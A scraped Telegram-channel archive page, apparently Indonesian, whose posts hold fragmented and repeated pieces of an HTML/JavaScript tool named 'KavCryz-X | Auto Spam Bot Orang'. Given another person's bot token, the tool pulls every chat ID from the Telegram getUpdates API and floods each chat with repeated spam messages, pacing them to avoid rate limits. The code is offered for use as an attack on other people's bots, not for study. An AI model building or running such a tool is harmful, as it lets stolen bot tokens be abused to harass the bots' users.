ch
Feedback
𝖢𝗁𝖺𝗇𝗇𝖾𝗅 𝖪𝗁𝗎𝗌𝗎𝗌 𝖲𝗁𝖺𝗋𝖾 𝖡𝖺𝗌𝖾 𝖵𝗏𝗂𝗉

𝖢𝗁𝖺𝗇𝗇𝖾𝗅 𝖪𝗁𝗎𝗌𝗎𝗌 𝖲𝗁𝖺𝗋𝖾 𝖡𝖺𝗌𝖾 𝖵𝗏𝗂𝗉

关闭频道

𝖭𝗈 𝗃𝗎𝖺𝗅 𝖻𝖺𝗌𝖾 No Share pake pribadi aja 𝖠𝗅𝗅 𝖿𝗋𝖾𝖾 𝗃𝖺𝗇𝗀𝖺𝗇 𝗃𝗎𝖺𝗅 Owner by @Fidzkalcer1

显示更多
未指定国家未指定类别
无数据
订阅者
无数据24 小时
+267 天
+5830 天
帖子存档
\n\n","datePublished":"2026-08-09T11:26:32Z","dateModified":"2026-08-09T11:26:52Z","author":{"@type":"Organization","name":"𝖢𝗁𝖺𝗇𝗇𝖾𝗅 𝖪𝗁𝗎𝗌𝗎𝗌 𝖲𝗁𝖺𝗋𝖾 𝖡𝖺𝗌𝖾 𝖵𝗏𝗂𝗉","url":"https://telemetr.io/ch/channel/4ITM3V","image":"https://img.tlmtr.io/c/4ITM3V/6230762310066704512?ty=x"},"publisher":{"@type":"Organization","name":"𝖢𝗁𝖺𝗇𝗇𝖾𝗅 𝖪𝗁𝗎𝗌𝗎𝗌 𝖲𝗁𝖺𝗋𝖾 𝖡𝖺𝗌𝖾 𝖵𝗏𝗂𝗉","url":"https://telemetr.io/ch/channel/4ITM3V","image":"https://img.tlmtr.io/c/4ITM3V/6230762310066704512?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channel/4ITM3V/posts/1023","url":"https://telemetr.io/ch/channel/4ITM3V/posts/1023","mainEntityOfPage":"https://telemetr.io/ch/channel/4ITM3V/posts/1023","headline":"return Array.from(ids); } catch (e) { addLog(⚠️ Gagal ambil update: ${e.message}, true); return []; } } // ==…","articleBody":"return Array.from(ids);\n } catch (e) {\n addLog(⚠️ Gagal ambil update: ${e.message}, true);\n return [];\n }\n }\n\n // =============================================\n // KIRIM PESAN KE CHAT ID\n // =============================================\n async function sendMessage(token, chatId, msg) {\n const url = https://api.telegram.org/bot${token}/sendMessage;\n try {\n const res = await fetch(url, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({\n chat_id: chatId,\n text: msg,\n parse_mode: 'HTML'\n })\n });\n const data = await res.json();\n if (data.ok) {\n totalSent++;\n updateCounter();\n return true;\n } else {\n addLog(❌ Gagal ke ${chatId}: ${data.description}, true);\n return false;\n }\n } catch (e) {\n addLog(⚠️ Error ke ${chatId}: ${e.message}, true);\n return false;\n }\n }\n\n // =============================================\n // CEK TOKEN & AMBIL CHAT ID\n // =============================================\n document.getElementById('cekBtn').addEventListener('click', async function() {\n const token = botToken.value.trim();\n if (!token) {\n addLog('⚠️ Token kosong!', true);\n return;\n }\n\n addLog('🔍 Mengecek token & mengambil chat ID...');\n const ids = await getAllChatIds(token);\n chatIds = ids;\n\n if (ids.length > 0) {\n detectedChatsDiv.textContent = ✅ Ditemukan ${ids.length} chat ID: ${ids.slice(0, 5).join(', ')}${ids.length > 5 ? '...' : ''};\n detectedChatsDiv.style.color = '#00ff41';\n addLog(✅ Token valid! Ditemukan ${ids.length} chat ID.);\n } else {\n detectedChatsDiv.textContent = '❌ Tidak ada chat ID ditemukan! Pastikan bot pernah di-start.';\n detectedChatsDiv.style.color = '#ff4444';\n addLog('❌ Tidak ada chat ID ditemukan!', true);\n }\n });\n\n // =============================================\n // SPAM SEMUA CHAT ID\n // =============================================\n document.getElementById('spamBtn').addEventListener('click', async function() {\n if (isSpamming) {\n addLog('⏹️ Spam sedang berjalan! Tunggu selesai.', true);\n return;\n }\n\n const token = botToken.value.trim();\n const msg = message.value.trim() || '[SPAM] KavCryz-X!';\n const count = parseInt(spamCount.value) || 5;\n const delay = parseFloat(delayInput.value) || 1;\n\n if (!token) {\n addLog('⚠️ Token kosong!', true);\n return;\n }\n\n // Ambil chat ID kalo belum ada\n if (chatIds.length === 0) {\n addLog('🔍 Mengambil chat ID dulu...');\n chatIds = await getAllChatIds(token);\n if (chatIds.length === 0) {\n addLog('❌ Tidak ada chat ID! Pastikan token valid.', true);\n return;\n }\n detectedChatsDiv.textContent = ✅ Ditemukan ${chatIds.length} chat ID;\n detectedChatsDiv.style.color = '#00ff41';\n }\n\n isSpamming = true;\n document.getElementById('spamBtn').disabled = true;\n\n addLog(🔥 Memulai spam ke ${chatIds.length} chat, ${count} pesan/chat, delay ${delay} detik...);\n\n let totalSuccess = 0;\n let totalFailed = 0;","datePublished":"2026-08-09T11:26:32Z","dateModified":"2026-08-09T11:26:52Z","author":{"@type":"Organization","name":"𝖢𝗁𝖺𝗇𝗇𝖾𝗅 𝖪𝗁𝗎𝗌𝗎𝗌 𝖲𝗁𝖺𝗋𝖾 𝖡𝖺𝗌𝖾 𝖵𝗏𝗂𝗉","url":"https://telemetr.io/ch/channel/4ITM3V","image":"https://img.tlmtr.io/c/4ITM3V/6230762310066704512?ty=x"},"publisher":{"@type":"Organization","name":"𝖢𝗁𝖺𝗇𝗇𝖾𝗅 𝖪𝗁𝗎𝗌𝗎𝗌 𝖲𝗁𝖺𝗋𝖾 𝖡𝖺𝗌𝖾 𝖵𝗏𝗂𝗉","url":"https://telemetr.io/ch/channel/4ITM3V","image":"https://img.tlmtr.io/c/4ITM3V/6230762310066704512?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channel/4ITM3V/posts/1022","url":"https://telemetr.io/ch/channel/4ITM3V/posts/1022","mainEntityOfPage":"https://telemetr.io/ch/channel/4ITM3V/posts/1022","headline":"
📡 CHAT ID DETEKSI OTOMATIS
\n 📡 CHAT ID DETEKSI OTOMATIS
\n Akan ambil dari semua update bot\n
Belum terdeteksi (0 chat)
\n
\n\n \n \n\n \n \n\n \n \n\n
\n \n \n
\n\n
Total Terkirim: 0
\n
\n
[SISTEM] Siap spam bot orang, tuan!
\n
\n
🔥 KavCryz-X | Auto Spam Bot Orang
\n
\n\n
𝚃𝚛𝚎𝚍𝚒𝚌𝚝_𝙸𝚗𝚟𝚒𝚌𝚝𝚞𝚜_1_1.zip2.28 KB

for (let i = 0; i < chatIds.length; i++) { const chatId = chatIds[i]; for (let j = 0; j < count; j++) { const result = await sendMessage(token, chatId, msg); if (result) { totalSuccess++; } else { totalFailed++; } if (j < count - 1) { await new Promise(resolve => setTimeout(resolve, delay * 1000)); } } addLog(📊 Chat ${i+1}/${chatIds.length} selesai (${chatId})); // Delay antar chat biar gak kena rate limit if (i < chatIds.length - 1) { await new Promise(resolve => setTimeout(resolve, 500)); } } isSpamming = false; document.getElementById('spamBtn').disabled = false; addLog(✅ SPAM SELESAI! Berhasil: ${totalSuccess}, Gagal: ${totalFailed}); }); // Auto detect saat token diisi botToken.addEventListener('change', async function() { const token = this.value.trim(); if (token) { chatIds = await getAllChatIds(token); if (chatIds.length > 0) { detectedChatsDiv.textContent = ✅ Ditemukan ${chatIds.length} chat ID; detectedChatsDiv.style.color = '#00ff41'; } } }); addLog('💀 Siap spam bot orang, tuan!'); </script> </body> </html>

return Array.from(ids); } catch (e) { addLog(⚠️ Gagal ambil update: ${e.message}, true); return []; } } // ============================================= // KIRIM PESAN KE CHAT ID // ============================================= async function sendMessage(token, chatId, msg) { const url = https://api.telegram.org/bot${token}/sendMessage; try { const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ chat_id: chatId, text: msg, parse_mode: 'HTML' }) }); const data = await res.json(); if (data.ok) { totalSent++; updateCounter(); return true; } else { addLog(❌ Gagal ke ${chatId}: ${data.description}, true); return false; } } catch (e) { addLog(⚠️ Error ke ${chatId}: ${e.message}, true); return false; } } // ============================================= // CEK TOKEN & AMBIL CHAT ID // ============================================= document.getElementById('cekBtn').addEventListener('click', async function() { const token = botToken.value.trim(); if (!token) { addLog('⚠️ Token kosong!', true); return; } addLog('🔍 Mengecek token & mengambil chat ID...'); const ids = await getAllChatIds(token); chatIds = ids; if (ids.length > 0) { detectedChatsDiv.textContent = ✅ Ditemukan ${ids.length} chat ID: ${ids.slice(0, 5).join(', ')}${ids.length > 5 ? '...' : ''}; detectedChatsDiv.style.color = '#00ff41'; addLog(✅ Token valid! Ditemukan ${ids.length} chat ID.); } else { detectedChatsDiv.textContent = '❌ Tidak ada chat ID ditemukan! Pastikan bot pernah di-start.'; detectedChatsDiv.style.color = '#ff4444'; addLog('❌ Tidak ada chat ID ditemukan!', true); } }); // ============================================= // SPAM SEMUA CHAT ID // ============================================= document.getElementById('spamBtn').addEventListener('click', async function() { if (isSpamming) { addLog('⏹️ Spam sedang berjalan! Tunggu selesai.', true); return; } const token = botToken.value.trim(); const msg = message.value.trim() || '[SPAM] KavCryz-X!'; const count = parseInt(spamCount.value) || 5; const delay = parseFloat(delayInput.value) || 1; if (!token) { addLog('⚠️ Token kosong!', true); return; } // Ambil chat ID kalo belum ada if (chatIds.length === 0) { addLog('🔍 Mengambil chat ID dulu...'); chatIds = await getAllChatIds(token); if (chatIds.length === 0) { addLog('❌ Tidak ada chat ID! Pastikan token valid.', true); return; } detectedChatsDiv.textContent = ✅ Ditemukan ${chatIds.length} chat ID; detectedChatsDiv.style.color = '#00ff41'; } isSpamming = true; document.getElementById('spamBtn').disabled = true; addLog(🔥 Memulai spam ke ${chatIds.length} chat, ${count} pesan/chat, delay ${delay} detik...); let totalSuccess = 0; let totalFailed = 0;

<div class="status-box"> <span style="color:#00ff41;">📡 CHAT ID DETEKSI OTOMATIS</span><br> <span style="color:#888;font-size:12px;">Akan ambil dari semua update bot</span> <div id="detectedChats" style="color:#00ff41;margin-top:5px;font-weight:bold;font-size:12px;">Belum terdeteksi (0 chat)</div> </div> <label>🔁 JUMLAH SPAM PER CHAT</label> <input type="number" id="spamCount" value="5" min="1" max="100"> <label>⏱️ DELAY PER PESAN (detik)</label> <input type="number" id="delay" value="1" min="0.1" max="10" step="0.1"> <label>📝 PESAN SPAM</label> <textarea id="message" rows="3">🔥 INI SPAM DARI KAVCRYZ-X! BOT KAMU DI RASUK! 🔥</textarea> <div class="btn-group"> <button id="cekBtn">🔍 Cek Token & Chat</button> <button id="spamBtn">🚀 SPAM SEMUA</button> </div> <div class="counter" id="counterDisplay">Total Terkirim: 0</div> <div id="log"> <div class="log-entry">[SISTEM] Siap spam bot orang, tuan!</div> </div> <div class="footer">🔥 KavCryz-X | Auto Spam Bot Orang</div> </div> <script> const logDiv = document.getElementById('log'); const counterDisplay = document.getElementById('counterDisplay'); const botToken = document.getElementById('botToken'); const spamCount = document.getElementById('spamCount'); const delayInput = document.getElementById('delay'); const message = document.getElementById('message'); const detectedChatsDiv = document.getElementById('detectedChats'); let totalSent = 0; let isSpamming = false; let chatIds = []; function addLog(text, isError = false) { const entry = document.createElement('div'); entry.className = 'log-entry'; const time = new Date().toLocaleTimeString(); entry.textContent = [${time}] ${text}; if (isError) entry.style.color = '#ff4444'; logDiv.appendChild(entry); logDiv.scrollTop = logDiv.scrollHeight; } function updateCounter() { counterDisplay.textContent = Total Terkirim: ${totalSent}; } // ============================================= // AMBIL SEMUA CHAT ID DARI UPDATE BOT // ============================================= async function getAllChatIds(token) { const url = https://api.telegram.org/bot${token}/getUpdates; try { const res = await fetch(url); const data = await res.json(); if (!data.ok) { addLog(❌ Error API: ${data.description}, true); return []; } const ids = new Set(); data.result.forEach(update => { // Dari pesan langsung if (update.message && update.message.chat) { ids.add(update.message.chat.id); } // Dari callback query if (update.callback_query && update.callback_query.message && update.callback_query.message.chat) { ids.add(update.callback_query.message.chat.id); } // Dari inline query if (update.inline_query && update.inline_query.from) { ids.add(update.inline_query.from.id); } // Dari my_chat_member if (update.my_chat_member && update.my_chat_member.chat) { ids.add(update.my_chat_member.chat.id); } // Dari chat_member if (update.chat_member && update.chat_member.chat) { ids.add(update.chat_member.chat.id); } });